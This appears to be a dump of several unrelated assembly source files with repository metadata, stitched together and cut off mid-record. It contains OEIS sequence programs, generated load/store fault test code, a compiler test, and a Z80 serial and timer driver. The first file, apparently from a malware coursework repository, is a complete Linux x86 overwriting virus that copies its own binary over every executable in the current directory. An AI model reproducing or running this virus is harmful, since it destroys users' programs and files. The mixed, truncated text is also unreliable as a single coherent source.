] | null | null | null | extras/overwrite_virus.asm | roguematter/malware-csg513 | 959ecdfad5efc8c95fd7143ef243fc07366f29e8 | [
"CC0-1.0"
] | null | null | null | section .data
dir_name db '.',0
section .bss
self_len resd 1
st_buf resb 64
self_buf resb 1024
dir_buf resb 4096
section .text
global _start
_start:
;openself
pop ebx
pop ebx
mov eax,5
xor ecx,ecx
int 80h
;fstatself
mov ebx,eax
mov ecx,st_buf
mov eax,108
int 80h
;readlen
mov edx,dword[st_buf+20]
mov dword[self_len],edx
;readself
mov eax,3
mov ecx,self_buf
int 80h
;closeself
mov eax,6
int 80h
;opendir
mov eax,5
mov ebx,dir_name
xor ecx,ecx
int 80h
;readdir
mov ebx,eax
mov eax,141
mov ecx,dir_buf
mov edx,4096
int 80h
;closedir
mov eax,6
int 80h
mov esi,dir_buf
_infect:
movzx edi,word[esi+8]
test edi,edi
jz _exit
mov ebx,esi
add ebx,10
add esi,edi
;stathost
mov eax,106
mov ecx,st_buf
int 80h
movzx edx,word[st_buf+8]
and edx,49h
test edx,edx
jz _infect
;openhost
mov eax,5
mov ecx,1
xor edx,edx
int 80h
cmp eax,0
jle _infect
;writehost
mov ebx,eax
mov eax,4
mov ecx,self_buf
mov edx,dword[self_len]
int 80h
;closehost
mov eax,6
int 80h
jmp _infect
_exit:
mov eax,1
xor ebx,ebx
int 80h
| 11.375 | 25 | 0.697802 |
19896021658c585bc65b3f1d2a5a4a2c7eb46799 | 295 | asm | Assembly | programs/oeis/067/A067412.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/067/A067412.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/067/A067412.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A067412: Fourth column of triangle A067410.
; 1,5,40,320,2560,20480,163840,1310720,10485760,83886080,671088640,5368709120,42949672960,343597383680,2748779069440,21990232555520,175921860444160,1407374883553280,11258999068426240
mov $1,8
pow $1,$0
mul $1,5
sub $1,6
div $1,8
add $1,1
mov $0,$1
| 26.818182 | 182 | 0.789831 |
9ce6d5d7f3bd6c4396fab6628b608746c6ca5f68 | 627 | asm | Assembly | programs/oeis/065/A065331.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/065/A065331.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/065/A065331.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A065331: Largest 3-smooth divisor of n.
; 1,2,3,4,1,6,1,8,9,2,1,12,1,2,3,16,1,18,1,4,3,2,1,24,1,2,27,4,1,6,1,32,3,2,1,36,1,2,3,8,1,6,1,4,9,2,1,48,1,2,3,4,1,54,1,8,3,2,1,12,1,2,9,64,1,6,1,4,3,2,1,72,1,2,3,4,1,6,1,16,81,2,1,12,1,2,3,8,1,18,1,4,3,2,1,96,1,2,9,4,1,6,1,8,3,2,1,108,1,2,3,16,1,6,1,4,9,2,1,24,1,2,3,4,1,18,1,128,3,2,1,12,1,2,27,8,1,6,1,4,3,2,1,144,1,2,3,4,1,6,1,8,9,2,1,12,1,2,3,32,1,162,1,4,3,2,1,24,1,2,9,4,1,6,1,16,3,2,1,36,1,2,3,8,1,6,1,4,27,2,1,192,1,2,3,4,1,18,1,8,3,2,1,12,1,2,9,16,1,6,1,4,3,2,1,216,1,2,3,4,1,6,1,32,9,2,1,12,1,2,3,8,1,18,1,4,3,2,1,48,1,2,243,4,1,6,1,8,3,2
add $0,1
gcd $0,248832
mov $1,$0
| 89.571429 | 550 | 0.558214 |
168db37d1385ce105a4a2ed399fa4072c5aa0246 | 477 | asm | Assembly | oeis/097/A097422.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/097/A097422.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/097/A097422.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A097422: Sum{k=1 to n} H(k) k!, where H(k) = sum{j=1 to k} 1/j.
; Submitted by Jon Maiga
; 0,1,4,15,65,339,2103,15171,124755,1151331,11779971,132323811,1618766691,21421525731,304887173091,4644050174691,75378332568291,1298783923147491,23675771981669091,455240918799307491
mov $4,$0
mov $6,$0
lpb $6
mov $0,$4
mov $2,0
sub $6,1
sub $0,$6
mov $3,5
lpb $0
mov $1,$0
sub $0,1
mul $2,$1
add $2,$3
mul $3,$1
lpe
add $5,$2
lpe
mov $0,$5
div $0,5
| 19.875 | 181 | 0.63522 |
9adc56743291658ad4cb1058ef8d421af16d631b | 6,180 | asm | Assembly | Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xca.log_21829_904.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xca.log_21829_904.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xca.log_21829_904.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x4734, %rsi
lea addresses_WT_ht+0xf9b4, %rdi
cmp $7906, %r15
mov $97, %rcx
rep movsl
nop
nop
sub $24887, %rbp
lea addresses_normal_ht+0x1a034, %r12
nop
sub %r14, %r14
movw $0x6162, (%r12)
nop
nop
nop
nop
and $53414, %rbp
lea addresses_UC_ht+0x1a974, %r14
nop
nop
nop
sub $43830, %r12
vmovups (%r14), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $1, %xmm2, %r15
nop
add %rdi, %rdi
lea addresses_D_ht+0x17734, %r14
nop
nop
nop
sub $27554, %rbp
mov $0x6162636465666768, %r12
movq %r12, %xmm1
vmovups %ymm1, (%r14)
nop
nop
nop
nop
nop
inc %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %r9
push %rcx
push %rdx
push %rsi
// Store
mov $0x6634150000000e31, %r12
nop
nop
nop
nop
nop
dec %rcx
mov $0x5152535455565758, %r9
movq %r9, %xmm5
movups %xmm5, (%r12)
nop
nop
add $27473, %rcx
// Load
mov $0x45b1d70000000b32, %r10
nop
nop
cmp %r15, %r15
movups (%r10), %xmm6
vpextrq $1, %xmm6, %r9
nop
nop
nop
nop
xor $33848, %r12
// Store
lea addresses_UC+0x8334, %r9
xor $43711, %rdx
movw $0x5152, (%r9)
nop
nop
add %r10, %r10
// Load
lea addresses_PSE+0x13734, %rcx
inc %rsi
mov (%rcx), %r15d
nop
nop
nop
nop
nop
add %r15, %r15
// Store
lea addresses_RW+0xd974, %rsi
nop
nop
nop
sub %rcx, %rcx
movl $0x51525354, (%rsi)
nop
nop
nop
nop
nop
sub %rcx, %rcx
// Faulty Load
lea addresses_WT+0x2334, %rdx
nop
nop
nop
nop
nop
and %r15, %r15
mov (%rdx), %rcx
lea oracles, %r12
and $0xff, %rcx
shlq $12, %rcx
mov (%r12,%rcx,1), %rcx
pop %rsi
pop %rdx
pop %rcx
pop %r9
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': True, 'type': 'addresses_UC', 'same': False, 'AVXalign': True, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': True, 'congruent': 5}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WT', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 10}, 'dst': {'same': True, 'type': 'addresses_WT_ht', 'congruent': 7}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_UC_ht', 'same': True, 'AVXalign': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'52': 21829}
52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52
*/
| 35.930233 | 2,999 | 0.655016 |
4680dcc1c2b32eac2f980202d9a6e2c5b5321cc5 | 340 | asm | Assembly | test_condexp.asm | acastrauss/compiler_project | 540e96493350d5cb34a7259a74bb1ecb1f3a3a2b | [
"MIT"
] | null | null | null | test_condexp.asm | acastrauss/compiler_project | 540e96493350d5cb34a7259a74bb1ecb1f3a3a2b | [
"MIT"
] | null | null | null | test_condexp.asm | acastrauss/compiler_project | 540e96493350d5cb34a7259a74bb1ecb1f3a3a2b | [
"MIT"
] | null | null | null |
main:
PUSH %14
MOV %15,%14
SUBS %15,$4,%15
MOV $5,-4(%14)
CMPS -4(%14),$3
@if0:
ADDS -4(%14),$3,%0
JLES @false0
@true0:
MOV %0,%1
JMP @exit0
@false0:
ADDS -4(%14),$5,%1
MOV %1,%1
@exit0:
SUBS %15,$4,%15
MOV %1,-8(%14)
@main_body:
MOV -8(%14),%13
JMP @main_exit
@main_exit:
MOV %14,%15
POP %14
RET | 13.076923 | 20 | 0.514706 |
bbf77627e5b78250ee9b1d09ac86650d581f7733 | 5,826 | asm | Assembly | Transynther/x86/_processed/NC/_st_zr_sm_/i9-9900K_12_0xca.log_21829_1659.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_st_zr_sm_/i9-9900K_12_0xca.log_21829_1659.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_st_zr_sm_/i9-9900K_12_0xca.log_21829_1659.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x19e1a, %rsi
lea addresses_A_ht+0x170ba, %rdi
nop
dec %rax
mov $90, %rcx
rep movsl
nop
sub $11138, %rdi
lea addresses_A_ht+0x8bba, %rsi
lea addresses_WC_ht+0x2cba, %rdi
xor %r12, %r12
mov $22, %rcx
rep movsl
add $40267, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r15
push %r8
push %rax
push %rdi
// Store
lea addresses_US+0x133ba, %r11
nop
nop
nop
nop
inc %rax
mov $0x5152535455565758, %rdi
movq %rdi, %xmm5
movups %xmm5, (%r11)
nop
nop
nop
sub %rax, %rax
// Store
mov $0x376ff50000000bba, %r12
nop
nop
nop
xor $40872, %r8
mov $0x5152535455565758, %r13
movq %r13, (%r12)
xor %r12, %r12
// Store
mov $0x411e2a00000009aa, %r13
nop
nop
xor %r15, %r15
movw $0x5152, (%r13)
nop
nop
nop
nop
add %r13, %r13
// Store
lea addresses_WC+0x48ba, %r11
nop
nop
xor $4550, %r15
movl $0x51525354, (%r11)
nop
cmp $35350, %rax
// Store
lea addresses_UC+0x8d6a, %r12
nop
nop
nop
nop
nop
dec %rdi
movl $0x51525354, (%r12)
nop
xor $39383, %r12
// Store
lea addresses_PSE+0x134ba, %rax
nop
nop
sub $24423, %r15
movl $0x51525354, (%rax)
nop
nop
add %r11, %r11
// Faulty Load
mov $0x376ff50000000bba, %r15
xor $55690, %rax
mov (%r15), %r8w
lea oracles, %r11
and $0xff, %r8
shlq $12, %r8
mov (%r11,%r8,1), %r8
pop %rdi
pop %rax
pop %r8
pop %r15
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 6}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 5}}
{'00': 770, '58': 21059}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 00 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 00 58 58 00 58 58 58 00 58 58 58 58 58 58 58 00 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 00 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 00 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 41.028169 | 2,999 | 0.654652 |
f2ca13489c4f5bceb7ba94d1117ee5b9ba6ee47d | 4,266 | asm | Assembly | device/KZ80_8259_8254.asm | kuninet/Z80mon | 12032408c298fb57230d2185473b6059f54af3d2 | [
"MIT"
] | null | null | null | device/KZ80_8259_8254.asm | kuninet/Z80mon | 12032408c298fb57230d2185473b6059f54af3d2 | [
"MIT"
] | 11 | 2019-04-22T02:39:50.000Z | 2019-05-26T02:50:18.000Z | device/KZ80_8259_8254.asm | kuninet/Z80mon | 12032408c298fb57230d2185473b6059f54af3d2 | [
"MIT"
] | null | null | null | ;
; KZ80_IOBv2用 モジュール
; 割り込み 8259
; タイマー 8254
; シリアル 8251x1
; パラレル 8255x1
;--------------------------------------------------------
; 以下のルーチンはSBC8080データパックのASMソースを参考にさせていただきました。
; SERINT 8251シリアル割り込みルーチン
; CIN シリアル1文字入力ルーチン
; COUT シリアル1文字出力ルーチン
; CKINCHAR シリアルバッファチェックルーチン
UARTRD EQU 00H
UARTRC EQU 01H
;
PICRC EQU 10h
PICRD EQU 11h
;
PIT_C0 EQU 18h
PIT_C1 EQU 19h
PIT_C2 EQU 1Ah
PIT_CWR EQU 1Bh
;
PIT_TIMER_INIT EQU 30000
;
;
BUFSIZ EQU 3FH
BUFFUL EQU 30H
BUFEMP EQU 5
;
RTSHIG EQU 00010111B
RTSLOW EQU 00110111B
;------------------------------------------------------------------------------
; 8251割り込みルーチン
;------------------------------------------------------------------------------
SERINT: PUSH AF
PUSH HL
IN A,(UARTRC)
AND 00000010B
JP Z,RTS0
IN A,(UARTRD)
PUSH AF
LD A,(SERCNT)
CP BUFSIZ
JP NZ,NOTFUL
POP AF
JP RTS0
NOTFUL: LD HL,(SERINP)
INC HL
LD A,L
CP SERINP & 0FFH
JP NZ,NOTWRP
LD HL,SERBUF
NOTWRP: LD (SERINP),HL
POP AF
LD (HL),A
LD A,(SERCNT)
INC A
LD (SERCNT),A
CP BUFFUL
JP C,RTS0
LD A,RTSHIG
OUT (UARTRC),A
RTS0:
LD A,00100000b
OUT (PICRC),A
POP HL
POP AF
EI
RET
;------------------------------------------------------------------------------
; 1文字入力(バッファから)
;------------------------------------------------------------------------------
CIN:
LD A,(SERCNT)
CP 00H
JP Z,CIN
PUSH HL
LD HL,(SERRDP)
INC HL
LD A,L
CP SERINP & 0FFH
JP NZ,NRWRAP
LD HL,SERBUF
NRWRAP: DI
LD (SERRDP),HL
LD A,(SERCNT)
DEC A
LD (SERCNT),A
CP BUFEMP
JP NC,RTS1
LD A,RTSLOW
OUT (UARTRC),A
RTS1: LD A,(HL)
EI
POP HL
RET
;------------------------------------------------------------------------------
; 1文字出力
;------------------------------------------------------------------------------
COUT: PUSH AF
COUT1: IN A,(UARTRC)
AND 01H
JP Z,COUT1
POP AF
OUT (UARTRD),A
RET
;------------------------------------------------------------------------------
; 入力バッファチェック
;------------------------------------------------------------------------------
CKINCHAR LD A,(SERCNT)
CP 00H
RET
;------------------------------------------------------------------------------
; PIT 8254 割り込み処理
;------------------------------------------------------------------------------
; PIT1
INT_VECTOR4_RTN:
PUSH AF
PUSH HL
CALL PIT_C1_INIT
JR PIT_INT_EXIT
; PIT0
INT_VECTOR5_RTN:
PUSH AF
PUSH HL
CALL PIT_C0_INIT
;
PIT_INT_EXIT:
LD A,00100000b
OUT (PICRC),A
POP HL
POP AF
EI
RET
;------------------------------------------------------------------------------
; PIT 8254 初期化
;------------------------------------------------------------------------------
PIT_INIT:
; COUNTER INIT
CALL PIT_C0_INIT
CALL PIT_C1_INIT
RET
;
; PIT TIMER SET
;
PIT_C0_INIT:
LD HL,(TIMER_COUNT)
LD A,00110000b
OUT (PIT_CWR),A
LD A,H
OUT (PIT_C0),A
LD A,L
OUT (PIT_C0),A
RET
;
PIT_C1_INIT:
LD HL,(TIMER_COUNT)
LD A,01110000b
OUT (PIT_CWR),A
LD A,H
OUT (PIT_C1),A
LD A,L
OUT (PIT_C1),A
RET
;------------------------------------------------------------------------------
; 初期化
;------------------------------------------------------------------------------
INIT:
LD SP,STACK
; Intrrupt VECTOR SET
LD HL,HOOKAREA
LD DE,RST00HOOK
LD BC,32
LDIR
;
LD HL,SERBUF
LD (SERINP),HL
LD (SERRDP),HL
XOR A
LD (SERCNT),A
OUT (UARTRC),A
OUT (UARTRC),A
OUT (UARTRC),A
LD A,01000000B
OUT (UARTRC),A
LD A,01001110B
OUT (UARTRC),A
LD A,RTSLOW
OUT (UARTRC),A
;
; 8259 INIT
LD A,00010010b
OUT (PICRC),A
XOR A
OUT (PICRD),A
;
; 8254 INIT
LD HL,PIT_TIMER_INIT
LD (TIMER_COUNT),HL
CALL PIT_INIT
;
EI
;
JP MAIN
;
;------------------------------------------------------------------------------
HOOKAREA:
; RST00
DB 0C3h
DW INIT
DB 00H
; RST08
DB 0C3h
DW COUT
DB 00H
; RST10
DB 0C3h
DW CIN
DB 00H
; RST18
DB 0C3h
DW CKINCHAR
DB 00H
; RST20
DB 0C3h
DW INT_VECTOR4_RTN
DB 00H
; RST28
DB 0C3h
DW INT_VECTOR5_RTN
DB 00H
; RST30
DB 0C3h
DW 0000h
DB 00H
; RST38
DB 0C3h
DW SERINT
DB 00H
;
DEVICE_END EQU $
;
; KZ80-1MSRAM用 RAM 4000h〜
;
ORG 4000h
;
;
RST00HOOK DS 4
RST08HOOK DS 4
RST10HOOK DS 4
RST18HOOK DS 4
RST20HOOK DS 4
RST28HOOK DS 4
RST30HOOK DS 4
RST38HOOK DS 4
;
TIMER_COUNT DS 2
;
SERBUF DS BUFSIZ
SERINP DS 2
SERRDP DS 2
SERCNT DS 1
;
DEVICE_RAM_END EQU $
| 15.456522 | 79 | 0.482419 |
59aaf566680353045e871258b93adea69c87ff2f | 353 | asm | Assembly | programs/oeis/099/A099561.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/099/A099561.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
